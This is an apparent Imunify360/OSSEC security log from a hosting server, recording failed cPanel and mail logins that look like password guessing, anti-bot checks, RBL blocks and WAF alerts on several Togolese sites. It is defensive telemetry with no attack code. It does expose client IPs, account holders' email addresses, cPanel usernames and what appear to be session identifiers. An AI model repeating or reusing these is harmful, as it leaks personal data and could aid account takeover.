81.53.36.105 - - [19/Jun/2026:01:52:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7378075&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781833923 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.55.240.13
country_id: 3017382
description:
[2026-06-19 01:51:52 +0000] info [cpaneld] 185.55.240.13 - sodegoz "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sodegoz (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:01:52:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9726359&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781833977 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 86.99.125.241
country_id: 290557
description:
86.99.125.241 - - [19/Jun/2026:01:56:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7115413&pdata=https%253A%252F%252F24heureinfo.tg%252Feducation%252Fla-cnlpal-veut-faire-des-eleves-des-acteurs-de-developpement-durable-du-togo-de-demain&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781834179 HTTP/2.0" 302 0 24heureinfo.tg "https://24heureinfo.tg/education/la-cnlpal-veut-faire-des-eleves-des-acteurs-de-developpement-durable-du-togo-de-demain" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:86.99.125.241


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 61.6.249.198
country_id: 1820814
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2024/12/44.jpg 599w, http:/togodailynews.tg/wp-content/uploads/2024/12/44-300x176.jpg 300w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.55.240.13
country_id: 3017382
description:
[2026-06-19 01:57:16 +0000] info [cpaneld] 185.55.240.13 - a.mathey "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user a.mathey (has_cpuser_file failed)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:01:58:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:01:58:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:01:58:42 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:01:58:46 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 194.165.16.164
country_id: 2993457
description:
Jun 19 02:01:00 ns5 pure-ftpd[3430841]: (?@194.165.16.164) [INFO] New connection from 194.165.16.164


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.11
country_id: 3469034
description:
Jun 19 02:02:41 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.11 has been locked due to Imunify RBL


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 43.153.114.185
country_id: 6252001
domain: hotelyabisso.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/119.0.6045.159 Safari/537.36||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.64.168
country_id: 3017382
description:
[2026-06-19 02:05:02 +0000] info [cpaneld] 5.231.64.168 NEW formationfreenet:EG1mmNOsqpsP7tD2 address=5.231.64.168,app=cpaneld,creator=formationfreenet,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.24.114
country_id: 226074
description:
Jun 19 02:06:20 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.24.114 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.139
country_id: 130758
description:
2026-06-19 02:06:21 dovecot_login authenticator failed for H=(localhost) [62.60.130.139]:44891: 535 Incorrect authentication data (set_id=social)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [19/Jun/2026:02:07:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13094082&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781834819 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:02:06:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10119836&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781834805 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.24.114
country_id: 226074
description:
Jun 19 02:06:27 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.24.114 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.55.240.13
country_id: 3017382
description:
[2026-06-19 02:08:06 +0000] info [cpaneld] 185.55.240.13 - abttogo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 79.237.198.118
country_id: 2921044
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/wp-content/uploads/2019/09/AMI-PROJET-CENTRALE-KEP-REVU-EXPLOITATION-28-08-2019.pdf HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:02:08:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6385519&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781834917 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.28.224.94
country_id: 690791
description:
[2026-06-19 02:10:43 +0000] info [whostmgrd] 104.28.224.94 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 104.28.224.94
country_id: 690791
description:
[2026-06-19 02:10:45 +0000] info [whostmgrd] 104.28.224.94 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 34.123.170.104
country_id: 6252001
domain: misstogo.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/125.0.6422.60 Safari/537.36||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.139
country_id: 130758
description:
2026-06-19 02:13:16 dovecot_login authenticator failed for H=(localhost) [62.60.130.139]:24525: 535 Incorrect authentication data (set_id=ned)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.167
country_id: 2635167
description:
[2026-06-19 02:13:06 +0000] info [cpaneld] 5.230.153.167 NEW dvhzmira:OWgzdZ_00G9ilpv1 address=5.230.153.167,app=cpaneld,creator=dvhzmira,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:02:14:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:02:14:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:02:14:59 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:02:14:56 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 34.27.42.6
country_id: 6252001
description:
[2026-06-19 02:15:47 +0000] info [cpaneld] 34.27.42.6 - mesyscomcom "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscomcom (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 181.115.166.213
country_id: 3923057
description:
181.115.166.213 - - [19/Jun/2026:02:15:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10001097&pdata=https%253A%252F%252Fmediatopnews.tg%252F%253Fp%253D8801&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781835336 HTTP/2.0" 302 0 mediatopnews.tg "https://mediatopnews.tg/?p=8801" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.1846.1703 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:181.115.166.213


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 84.54.73.36
country_id: 1512440
domain: macite.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/macite.tg/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.36.90
country_id: 3469034
description:
Jun 19 02:17:35 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.36.90 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.36.62.3
country_id: 2510769
description:
81.36.62.3 - - [19/Jun/2026:02:18:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7313558&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-cno-fthb-rencontre-auguste-dogbo-deladem-akpaki%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781835493 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-cno-fthb-rencontre-auguste-dogbo-deladem-akpaki/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.9836.1332 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.36.62.3


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 130.12.182.188
country_id: 3190538
description:
Jun 19 02:20:25 ns5 pure-ftpd[3443213]: (?@130.12.182.188) [INFO] New connection from 130.12.182.188


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.139
country_id: 130758
description:
2026-06-19 02:20:39 dovecot_login authenticator failed for H=(localhost) [62.60.130.139]:24000: 535 Incorrect authentication data (set_id=macara)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:02:22:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6985576&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781835718 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.55.240.13
country_id: 3017382
description:
[2026-06-19 02:22:15 +0000] info [cpaneld] 185.55.240.13 - nwvfmxat "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [19/Jun/2026:02:22:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6515092&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781835717 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.47
country_id: 6252001
description:
205.169.39.47 - - [19/Jun/2026:02:21:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10264263&pdata=http%253A%252F%252Fwww.sodigaz.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781835710 HTTP/1.1" 302 0 www.sodigaz.tg "http://www.sodigaz.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.47


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.8.254
country_id: 3175395
description:
Jun 19 02:24:11 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.8.254 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.178.163.104
country_id: 3469034
description:
Jun 19 02:24:31 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.178.163.104 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.192.101.103
country_id: 3469034
description:
Jun 19 02:25:56 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.192.101.103 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:02:25:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6449563&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781835946 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.139
country_id: 130758
description:
2026-06-19 02:27:22 dovecot_login authenticator failed for H=(localhost) [62.60.130.139]:40193: 535 Incorrect authentication data (set_id=kinder)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:02:30:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:02:30:10 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:02:30:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:02:30:12 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.118.68.13
country_id: 1210997
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/8d8477 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.163.175.59
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/1945957704 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.250.160.76
country_id: 1269750
description:
2026-06-19 02:32:32 dovecot_login authenticator failed for H=([98.182.171.163]) [103.250.160.76]:42720: 535 Incorrect authentication data (set_id=phipa@centif.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 42.200.70.134
country_id: 1819730
description:
2026-06-19 02:32:58 dovecot_login authenticator failed for H=42-200-70-134.static.imsbiz.com (215.202.163.124.adsl-pool.sx.cn) [42.200.70.134]:48550: 535 Incorrect authentication data (set_id=phipa)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.0.171.69
country_id: 298795
description:
Jun 19 02:32:28 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.0.171.69 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.250.160.76
country_id: 1269750
description:
Jun 19 02:32:30 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.250.160.76 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 42.200.70.134
country_id: 1819730
description:
Jun 19 02:32:56 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 42.200.70.134 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.139
country_id: 130758
description:
2026-06-19 02:34:11 dovecot_login authenticator failed for H=(localhost) [62.60.130.139]:13480: 535 Incorrect authentication data (set_id=sandbox)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 160.202.47.160
country_id: 1819730
description:
Jun 19 02:37:07 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 160.202.47.160 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [19/Jun/2026:02:37:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10198171&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781836633 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 209.101.48.23
country_id: 6252001
domain: togomedia24.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togomedia24.tg/wp-content/uploads/2024/08/pub2.png HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.202.47.160
country_id: 1819730
description:
2026-06-19 02:37:09 dovecot_plain authenticator failed for H=(dlb2gwrzh2ji62q4wk) [160.202.47.160]:52558: 535 Incorrect authentication data (set_id=wilfried.t@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 23.129.64.180
country_id: 6252001
description:
Jun 19 02:37:17 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 23.129.64.180 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 23.129.64.180
country_id: 6252001
description:
2026-06-19 02:37:19 dovecot_plain authenticator failed for H=(qfi4w5lqq918y43lhn5gezbnw) [23.129.64.180]:8635: 535 Incorrect authentication data (set_id=david.ayivi@mesyscom.com)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
